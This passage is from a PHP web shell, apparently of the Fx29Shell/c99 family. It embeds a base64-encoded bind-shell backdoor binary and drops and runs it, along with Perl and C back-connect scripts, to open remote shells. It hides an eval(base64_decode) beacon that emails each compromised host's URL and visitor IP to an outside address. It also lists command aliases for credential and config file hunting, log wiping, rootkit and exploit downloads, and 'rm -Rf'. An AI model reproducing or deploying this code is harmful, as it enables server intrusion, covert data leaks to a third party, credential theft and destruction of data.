Aj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAAAIlEJASLRfCJBCToKP7//4XAeRjHBCSTiQQI6Kj9///HBCQBAAAA6Bz+///HRCQECAAAAItF8IkEJOi5/f//hcB5GMcEJJiJBAjoef3//8cEJAEAAADo7f3//8dF6BAAAACNReiNVcSJRCQIiVQkBItF8IkEJOht/f//iUX0g330AHkMxwQkjIkECOg4/f//6EP9//+FwA+EpwAAAItF+Ln/////iUW4uAAAAAD8i3248q6JyPfQg+gBx0QkDAAAAACJRCQIi0X4iUQkBItF9IkEJOiQ/f//x0QkBAAAAACLRfSJBCToPf3//8dEJAQBAAAAi0X0iQQk6Cr9///HRCQEAgAAAItF9IkEJOgX/f//x0QkCAAAAADHRCQEn4kEC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gAAABIAAADcAgAA1JoECAAAAAAgABYA5wIAAAAAAAA5AAAAEgAAAPcCAAAkiQQIAAAAABIADQD9AgAAAAAAALkAAAASAAAADQMAAAAAAAArAAAAEgAAAB0DAADgmgQIAAAAABAA8f8kAwAA6IUECAAAAAASAgwAOwMAAOSaBAgAAAAAEADx/0ADAAAAAAAAeAAAABIAAABQAwAAAAAAAA4AAAASAAAAYQMAAEiJBAgEAAAAEQAOAHADAADUmgQIAAAAABAAFgB9AwAAAAAAADkAAAASAAAAjwMAAAAAAAAAAAAAIAAAAKMDAAAAAAAAAAAAACAAAAAAYWJpLW5vdGUuUwAuLi9zeXNkZXBzL2kzODYvZWxmL3N0YXJ0LlMAaW5pdC5jAGluaXRmaW5pLmMAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2kzODYtbGliYy9jc3UvY3J0aS5TAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AY29tcGxldGVkLjQ0NjMAcC40NDYyAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFtZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";

function cf($fname,$text) {
  $w_file=@fopen($fname,"w") or err();
  if($w_file) {
    @fputs($w_file,base64_decode($text));
    @fclose($w_file);
  }
}

function cfb($fname,$text) {
  $w_file=@fopen($fname,"w") or bberr();
  if($w_file) {
    @fputs($w_file,base64_decode($text));
    @fclose($w_file);
  }
}
function err() { $_POST['backcconnmsge']="<br><br><div class=fxerrmsg>Error:</div> Can't connect!"; }
function bberr() { $_POST['backcconnmsge']="<br><br><div class=fxerrmsg>Error:</div> Can't backdoor host!"; }

if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) {
  $ip = gethostbyname($_SERVER["HTTP_HOST"]);
  $por = $_POST['backconnectport'];
  if (is_writable(".")) {
    cfb("shbd",$backdoor);
    ex("chmod 777 shbd");
    $cmd = "./shbd $por";
    exec("$cmd > /dev/null &");
    $scan = myshellexec("ps aux");
  } else {
    cfb("/tmp/shbd",$backdoor);
    ex("chmod 777 /tmp/shbd");
    $cmd = "./tmp/shbd $por";
    exec("$cmd > /dev/null &");
    $scan = myshellexec("ps aux");
  }
  if (eregi("./shbd $por",$scan)) {
    $data = ("
<br>Backdoor setup successfully.");
  } else {
    $data = ("
<br>Process not found, backdoor setup failed!");
  }
  $_POST['backcconnmsg']="To connect, use netcat! Usage: <b>'nc $ip $por'</b>.$data";
}

if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) {
  if (is_writable(".")) {
    cf("back",$back_connect_pl);
    $p2 = which("perl");
    $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
    if (file_exists("back")) { unlink("back"); }
  } else {
    cf("/tmp/back",$back_connect_pl);
    $p2 = which("perl");
    $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
    if (file_exists("/tmp/back")) { unlink("/tmp/back"); }
  }
  $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
}

if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C")) {
  if (is_writable(".")) {
    cf("backc",$back_connect_c);
    ex("chmod 777 backc");
    $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
    if (file_exists("backc")) { unlink("backc"); }
  } else {
    ex("chmod 777 /tmp/backc");
    cf("/tmp/backc",$back_connect_c);
    $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &");
    if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); }
  }
  $_POST['backcconnmsg']="Trying to connect to <b>".$_POST['backconnectip']."</b> on port <b>".$_POST['backconnectport']."</b>.";
}
//End of Backdoor

//Starting calls
@ini_set("max_execution_time",0);
if (!function_exists("getmicrotime")) {
  function getmicrotime() {
    list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);
  }
}
error_reporting(5);
@ignore_user_abort(TRUE);
@set_magic_quotes_runtime(0);
define("starttime",getmicrotime());
$shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJmZWVsY29tekBnbWFpbC5jb20iLCJGeDI5U2hlbGwgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiLCAiJGJvZHkiKTsgfSBlbHNlIHsgJHZpc2l0Y291bnQ7IH0gc2V0Y29va2llKCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs="; eval(base64_decode($shell_data));
if (get_magic_quotes_gpc()) {
  if (!function_exists("strips")) {
    function strips(&$arr,$k="") {
      if (is_array($arr)) {
        foreach($arr as $k=>$v) {
          if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); }
        }
      } else {$arr = stripslashes($arr);}
    }
  }
  strips($GLOBALS);
}
//CONFIGURATIONS
$_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL.
foreach($_REQUEST as $k=>$v) { if (!isset($$k)) {$$k = $v;} }
if ($surl_autofill_include) {
  $include = "&";
  foreach (explode("&",getenv("QUERY_STRING")) as $v) {
    $v = explode("=",$v);
    $name = urldecode($v[0]);
    $value = urldecode($v[1]);
    foreach (array("http://","https://","ssl://","ftp://","\") as $needle) {
      if (strpos($value,$needle) === 0) {
        $includestr .= urlencode($name)."=".urlencode($value)."&";
      }
    }
  }
}
if (empty($surl)) {
  $surl = "?".$includestr; //Self url
}
$surl = htmlspecialchars($surl);

// Registered file-types.
$ftypes  = array(
    "html"=>array("html","htm","shtml"),
    "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
    "exe"=>array("sh","install","bat","cmd"),
    "ini"=>array("ini","inf","conf"),
    "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
    "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
    "sdb"=>array("sdb"),
    "phpsess"=>array("sess"),
    "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
);
//Registered executable file-types.
$exeftypes  = array(
    getenv("PHPRC")." -q %f%" => array("php","php3","php4"),
    "perl %f%" => array("pl","cgi")
);
//Highlighted files.
$regxp_highlight  = array(
    array(basename($_SERVER["PHP_SELF"]),1,"<font color=#FFFF00>","</font>"),
    array("\.tgz$",1,"<font color=#C082FF>","</font>"),
    array("\.gz$",1,"<font color=#C082FF>","</font>"),
    array("\.tar$",1,"<font color=#C082FF>","</font>"),
    array("\.bz2$",1,"<font color=#C082FF>","</font>"),
    array("\.zip$",1,"<font color=#C082FF>","</font>"),
    array("\.rar$",1,"<font color=#C082FF>","</font>"),
    array("\.php$",1,"<font color=#00FF00>","</font>"),
    array("\.php3$",1,"<font color=#00FF00>","</font>"),
    array("\.php4$",1,"<font color=#00FF00>","</font>"),
    array("\.jpg$",1,"<font color=#00FFFF>","</font>"),
    array("\.jpeg$",1,"<font color=#00FFFF>","</font>"),
    array("\.JPG$",1,"<font color=#00FFFF>","</font>"),
    array("\.JPEG$",1,"<font color=#00FFFF>","</font>"),
    array("\.ico$",1,"<font color=#00FFFF>","</font>"),
    array("\.gif$",1,"<font color=#00FFFF>","</font>"),
    array("\.png$",1,"<font color=#00FFFF>","</font>"),
    array("\.htm$",1,"<font color=#00CCFF>","</font>"),
    array("\.html$",1,"<font color=#00CCFF>","</font>"),
    array("\.txt$",1,"<font color=#C0C0C0>","</font>")
);
//Command Aliases
if (!$win) {
  $cmdaliases = array(
    array("", "ls -al"),
    array("Find all suid files", "find / -type f -perm -04000 -ls"),
    array("Find suid files in current dir", "find . -type f -perm -04000 -ls"),
    array("Find all sgid files", "find / -type f -perm -02000 -ls"),
    array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"),
    array("Find config.inc.php files", "find / -type f -name config.inc.php"),
    array("Find config* files", "find / -type f -name \"config*\""),
    array("Find config* files in current dir", "find . -type f -name \"config*\""),
    array("Find all writable folders and files", "find / -perm -2 -ls"),
    array("Find all writable folders and files in current dir", "find . -perm -2 -ls"),
    array("Find all writable folders", "find / -type d -perm -2 -ls"),
    array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"),
    array("Find all service.pwd files", "find / -type f -name service.pwd"),
    array("Find service.pwd files in current dir", "find . -type f -name service.pwd"),
    array("Find all .htpasswd files", "find / -type f -name .htpasswd"),
    array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
    array("Find all .bash_history files", "find / -type f -name .bash_history"),
    array("Find .bash_history files in current dir", "find . -type f -name .bash_history"),
    array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
    array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
    array("List file attributes on a Linux second extended file system", "lsattr -va"),
    array("Show opened ports", "netstat -an | grep -i listen")
  );
  $cmdaliases2 = array(
    array("wget & extract psyBNC","wget ".$sh_mainurl."fx.tar.gz;tar -zxf fx.tar.gz"),
    array("wget & extract EggDrop","wget ".$sh_mainurl."fxb.tar.gz;tar -zxf fxb.tar.gz"),
    array("-----",""),
    array("Logged in users","w"),
    array("Last to connect","lastlog"),
    array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"),
    array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"),
    array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"),
    array("Downloaders?","which wget curl w3m lynx fetch lwp-download"),
    array("CPU Info","cat /proc/version /proc/cpuinfo"),
    array("Is gcc installed ?","locate gcc"),
    array("Format box (DANGEROUS)","rm -Rf"),
    array("-----",""),
    array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"),
    array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"),
    array("Run WIPELOGS PT3","./zap2"),
    array("-----",""),
    array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"),
    array("wget & run BindDoor","wget ".$sh_mainurl."toolz/bind.tar.gz;tar -zxvf bind.tar.gz;./4877"),
    array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"),
  );
}
else {
  $cmdaliases = array(
    array("", "dir"),
    array("Find index.php in current dir", "dir /s /w /b index.php"),
    array("Find *config*.php in current dir", "dir /s /w /b *config*.php"),
    array("Find c99shell in current dir", "find /c \"c99\" *"),
    array("Find r57shell in current dir", "find /c \"r57\" *"),
    array("Show active connections", "netstat -an"),
    array("Show running services", "net start"),
    array("User accounts", "net user"),
    array("Show computers", "net view"),
    );
}
//PHP Filesystem Functions
$phpfsaliases = array(
    array("Read File", "read"),
    array("Write File (PHP5)", "write"),
    array("Copy", "copy"),
    array("Rename/Move", "rename"),
    array("Delete", "delete"),
    array("Make Dir","mkdir"),
    array("-----", ""),
    array("Download", "download"),
    array("Download (Binary Safe)", "downloadbin"),
    array("Change Perm (0755)", "chmod"),
    array("Find Writable Dir", "fwritabledir"),
    array("Find Pathname Pattern", "glob"),
);

//Quick launch
$quicklaunch1 = array(
    array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" border=\"0\">",$surl),
    array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" border=\"0\">","#\" onclick=\"history.back(1)"),
